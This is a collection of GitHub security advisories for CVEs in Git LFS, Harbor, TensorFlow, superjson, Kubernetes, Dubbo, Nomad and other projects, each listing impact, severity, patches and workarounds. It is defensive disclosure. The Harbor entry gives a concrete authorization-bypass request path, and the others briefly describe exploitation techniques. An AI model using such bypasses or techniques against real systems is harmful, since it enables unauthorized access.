Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Git LFS can execute a Git binary from the current directory
Advisory: GHSA-4g4p-42wc-9f3m
Aliases: CVE-2020-27955
Published: 2022-02-11T23:39:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Impact
On Windows, if Git LFS operates on a malicious repository with a `git.bat` or `git.exe` file in the current directory, that program would be executed, permitting the attacker to execute arbitrary code.  This does not affect Unix systems.

This occurs because on Windows, Go includes (and prefers) the current directory when the name of a command run does not contain a directory separator.

### Patches
This version should be patched in v2.12.1, which will be released in coordination with this security advisory.

### Workarounds
Other than avoiding untrusted repositories, there is no workaround.

### For more information
If you have any questions or comments about this advisory:
* Start a discussion in [the Git LFS discussion page](https://github.com/git-lfs/git-lfs/discussions).
* If you cannot open a discussion, please email the core team using their usernames at `github.com`.
"catalog's registry v2 api exposed on unauthenticated path in Harbor"
Advisory: GHSA-38r5-34mr-mvm7
Aliases: CVE-2020-29662
Published: 2022-02-12T00:01:51Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

### **Impact**
Javier Provecho, member of the TCCT (Telefonica Cloud & Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor’s v2 API.

The catalog’s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.

"GET /v2/_catalog"

However, the authorization can be bypassed by using the following path

"GET /v2/_catalog/"

### **Patches**
If your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately

https://github.com/goharbor/harbor/releases/tag/v2.1.2
https://github.com/goharbor/harbor/releases/tag/v2.0.5

### **Workarounds**
If you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.

### **For more information**
If you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io
View our security policy at https://github.com/goharbor/harbor/security/policy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662
Incorrect Default Permissions in Apache DolphinScheduler
Advisory: GHSA-qhh5-9738-g9mx
Aliases: CVE-2020-13922
Published: 2022-02-09T22:26:32Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Versions of Apache DolphinScheduler prior to 1.3.2 allowed an ordinary user under any tenant to override another users password through the API interface.
Prototype Pollution leading to Remote Code Execution in superjson
Advisory: GHSA-5888-ffcr-r425
Aliases: CVE-2022-23631
Published: 2022-02-09T22:20:49Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

### Impact

This is critical vulnerability, as it allows to run arbitrary code on any server using superjson input, including a Blitz.js server, without prior authentication or knowledge. Attackers gain full control over the server so they could steal and manipulate data or attack further systems. The only requirement is that the server implements at least one endpoint which uses superjson during request processing. In the case of Blitz.js, it would be at least one RPC call. 

### Patches
This has been patched in superjson 1.8.1 and Blitz.js 0.45.3. 

If you are unable to upgrade to Blitz.js 0.45.3 in a timely manner, you can instead upgrade only superjson to version 1.8.1 using yarn resolutions are similar. Blitz versions < 0.45.3 are only affected because they used superjson versions < 1.8.1.

### Workarounds
None

### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/blitz-js/superjson
* Email us at b@bayer.ws
Integer overflow in Tensorflow
Advisory: GHSA-wm93-f238-7v37
Aliases: CVE-2022-23576
Published: 2022-02-10T00:32:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Impact
The [implementation of `OpLevelCostEstimator::CalculateOutputSize`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1598-L1617) is vulnerable to an integer overflow if an attacker can create an operation which would involve tensors with large enough number of elements:
```cc
for (const auto& dim : output_shape.dim()) {
  output_size *= dim.size();
} 
```
  
Here, we can have a large enough number of dimensions in `output_shape.dim()` or just a small number of dimensions being large enough to cause an overflow in the multiplication.

### Patches
We have patched the issue in GitHub commit [b9bd6cfd1c50e6807846af9a86f9b83cafc9c8ae](https://github.com/tensorflow/tensorflow/commit/b9bd6cfd1c50e6807846af9a86f9b83cafc9c8ae).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information 
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
etcd Cross-site Request Forgery (CSRF)
Advisory: GHSA-5gjm-fj42-x983
Aliases: CVE-2018-1098
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A cross-site request forgery flaw was found in etcd 3.3.1 and earlier. An attacker can set up a website that tries to send a POST request to the etcd server and modify a key. Adding a key is done with PUT so it is theoretically safe (can't PUT from an HTML form or such) but POST allows creating in-order keys that an attacker can send.
Improper Authentication in Kubernetes
Advisory: GHSA-wqv3-8cm6-h6wg
Aliases: CVE-2020-8558
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A security issue was discovered in the Kubelet and kube-proxy components of Kubernetes which allows adjacent hosts to reach TCP and UDP services bound to 127.0.0.1 running on the node or in the node's network namespace. For example, if a cluster administrator runs a TCP service on a node that listens on 127.0.0.1:1234, because of this bug, that service would be potentially reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service. If the example service on port 1234 required no additional authentication (because it assumed that only other localhost processes could reach it), then it could be vulnerable to attacks that make use of this bug.
Cross-site Scripting in showdoc
Advisory: GHSA-7x22-pmw5-66mq
Aliases: CVE-2021-4172
Published: 2022-02-01T00:44:14Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Stored XSS via upload attachment with format .svg in File Library.
Out of bounds write in TFLite
Advisory: GHSA-9c78-vcq7-7vxq
Aliases: CVE-2022-23561
Published: 2022-02-09T23:53:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Impact 
An attacker can craft a TFLite model that would cause a write outside of bounds of an array in TFLite. In fact, the attacker can override the linked list used by the memory allocator. This can be leveraged for an arbitrary write primitive under certain conditions.

### Patches
We have patched the issue in GitHub commit [6c0b2b70eeee588591680f5b7d5d38175fd7cdf6](https://github.com/tensorflow/tensorflow/commit/6c0b2b70eeee588591680f5b7d5d38175fd7cdf6).
  
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
    
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
  
### Attribution
This vulnerability has been reported by Wang Xuan of Qihoo 360 AIVul Team.
Denial of service in Undertow
Advisory: GHSA-rhcw-wjcm-9h6g
Aliases: CVE-2020-27782
Published: 2022-02-09T00:54:12Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in the Undertow AJP connector. Malicious requests and abrupt connection closes could be triggered by an attacker using query strings with non-RFC compliant characters resulting in a denial of service. The highest threat from this vulnerability is to system availability. This affects Undertow 2.1.5.SP1, 2.0.33.SP2, and 2.2.3.SP1.
Deserialization of Untrusted Data in Apache Dubbo
Advisory: GHSA-whww-v56c-cgv2
Aliases: CVE-2020-1948
Published: 2022-02-10T22:39:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This vulnerability can affect all Dubbo users stay on version 2.7.6 or lower. An attacker can send RPC requests with unrecognized service name or method name along with some malicious parameter payloads. When the malicious parameter is deserialized, it will execute some malicious code. More details can be found below.
Arbitrary file reads in HashiCorp Nomad
Advisory: GHSA-wmrx-57hm-mw7r
Aliases: CVE-2022-24683
Published: 2022-02-18T00:00:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nomad is an easy-to-use, flexible, and performant workload orchestrator that can deploy a mix of microservice, batch, containerized, and non-containerized applications. HashiCorp Nomad and Nomad Enterprise 0.9.2 through 1.0.17, 1.1.11, and 1.2.5 allow operators with read-fs and alloc-exec (or job-submit) capabilities to read arbitrary files on the host filesystem as root. There are currently no known workarounds. Users are recommended to upgrade as soon as possible to avoid this issue.
User login denial of service in github.com/google/fscrypt
Advisory: GHSA-8vwm-8vj8-rqjf
Aliases: CVE-2022-25327
Published: 2022-02-26T00:00:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

The PAM module for fscrypt doesn't adequately validate fscrypt metadata files, allowing users to create malicious metadata files that prevent other users from logging in. A local user can cause a denial of service by creating a fscrypt metadata file that prevents other users from logging into the system. We recommend upgrading to version 0.3.3 or above
Improper file handling in matrix-react-sdk
Advisory: GHSA-cg57-p69r-3m7p
Aliases: CVE-2021-32622
Published: 2022-02-10T23:46:51Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L

Matrix-React-SDK is a react-based SDK for inserting a Matrix chat/voip client into a web page. Before version 3.21.0, when uploading a file, the local file preview can lead to execution of scripts embedded in the uploaded file. This can only occur after several user interactions to open the preview in a separate tab. This only impacts the local user while in the process of uploading. It cannot be exploited remotely or by other users. This vulnerability is patched in version 3.21.0.
File upload leading to RCE in MCMS
Advisory: GHSA-g8j8-mgh9-q77p
Aliases: CVE-2021-46036
Published: 2022-02-19T00:01:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An arbitrary file upload vulnerability in the component /ms/file/uploadTemplate.do of MCMS v5.2.4 allows attackers to execute arbitrary code.
Credentials bypass in Apache Druid
Advisory: GHSA-qh2g-7h5p-mxf4
Aliases: CVE-2020-1958
Published: 2022-02-09T22:05:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

When LDAP authentication is enabled in Apache Druid 0.17.0, callers of Druid APIs with a valid set of LDAP credentials can bypass the credentialsValidator.userSearch filter barrier that determines if a valid LDAP user is allowed to authenticate with Druid. They are still subject to role-based authorization checks, if configured. Callers of Druid APIs can also retrieve any LDAP attribute values of users that exist on the LDAP server, so long as that information is visible to the Druid server. This information disclosure does not require the caller itself to be a valid LDAP user.
Stored Cross-site Scripting vulnerability in Jenkins Team Views Plugin
Advisory: GHSA-mv5c-724f-3fq7
Aliases: CVE-2022-25203
Published: 2022-02-16T00:01:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Jenkins Team Views Plugin 0.9.0 and earlier does not escape team names, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Read permission.
Server-Side Request Forgery in @peertube/embed-api
Advisory: GHSA-mv26-cx23-vrfg
Aliases: CVE-2022-0508
Published: 2022-02-09T00:00:31Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

@peertube/embed-api version 4.0.0 and prior is vulnerable to server-side request forgery.
OS Command Injection in strong-nginx-controller
Advisory: GHSA-4v9w-pvwr-38h3
Aliases: CVE-2020-7621
Published: 2022-02-10T23:36:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

strong-nginx-controller through 1.0.2 is vulnerable to Command Injection. It allows execution of arbitrary command as part of the '_nginxCmd()' function.
Cross-site Scripting in LiveHelperChat
Advisory: GHSA-57qf-82hh-2hmc
Aliases: CVE-2022-0502
Published: 2022-02-07T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

LiveHelperChat prior to version 3.93 is vulnerable to cross-site scripting.
Command injection in gh-ost
Advisory: GHSA-rrp4-2xx3-mv29
Aliases: CVE-2022-21687
Published: 2022-02-01T00:47:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Gh-ost version <= 1.1.2 allows users to inject DSN strings via the `-database` parameter.

This is a low severity vulnerability as the attacker must have access to the target host or trick an administrator into executing a malicious `gh-ost` command on a host running `gh-ost`, plus network access from host running `gh-ost` to the attack's malicious MySQL server.

### Impact
This issue may lead to arbitrary local file read.

### Patches
Fixed in 1.1.3+.

### Workarounds
None

### References
- https://advisory.dw1.io/51

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github/gh-ost](http://github.com/github/gh-ost)
Read and Write outside of bounds in TensorFlow
Advisory: GHSA-4hvf-hxvg-f67v
Aliases: CVE-2022-23560
Published: 2022-02-09T23:53:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Impact
An attacker can craft a TFLite model that would allow limited reads and writes outside of arrays in TFLite. This exploits missing validation in [the conversion from sparse tensors to dense tensors](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/internal/utils/sparsity_format_converter.cc#L252-L293).

### Patches
We have patched the issue in GitHub commit [6364463d6f5b6254cac3d6aedf999b6a96225038](https://github.com/tensorflow/tensorflow/commit/6364463d6f5b6254cac3d6aedf999b6a96225038).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Wang Xuan of Qihoo 360 AIVul Team.